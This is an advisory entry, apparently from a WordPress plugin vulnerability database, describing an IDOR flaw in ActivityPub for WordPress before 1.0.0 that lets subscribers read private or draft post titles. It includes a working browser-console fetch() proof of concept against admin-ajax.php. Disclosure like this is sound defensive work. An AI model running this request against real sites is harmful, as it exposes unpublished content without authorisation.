WordPress Plugin Vulnerabilities
ActivityPub for WordPress < 1.0.0 - Subscriber+ Arbitrary Post Title Disclosure
Description
The plugin does not ensure that post titles to be displayed are public and belong to the plugin, allowing any authenticated user, such as subscriber to retrieve the title of arbitrary post (such as draft and private) via an IDOR vector
Proof of Concept
Run the below command in the developer console of the web browser while being on the blog as a subscriber fetch("/wp-admin/admin-ajax.php", { "headers": { "content-type": "application/x-www-form-urlencoded", }, "method": "POST", "body": "action=parse-media-shortcode&shortcode=[ap_title]&post_ID=42", "credentials": "include" }).then(response => response.text()) .then(data => console.log(data)); This will disclose the title of the private/draft post with ID 42 in the response
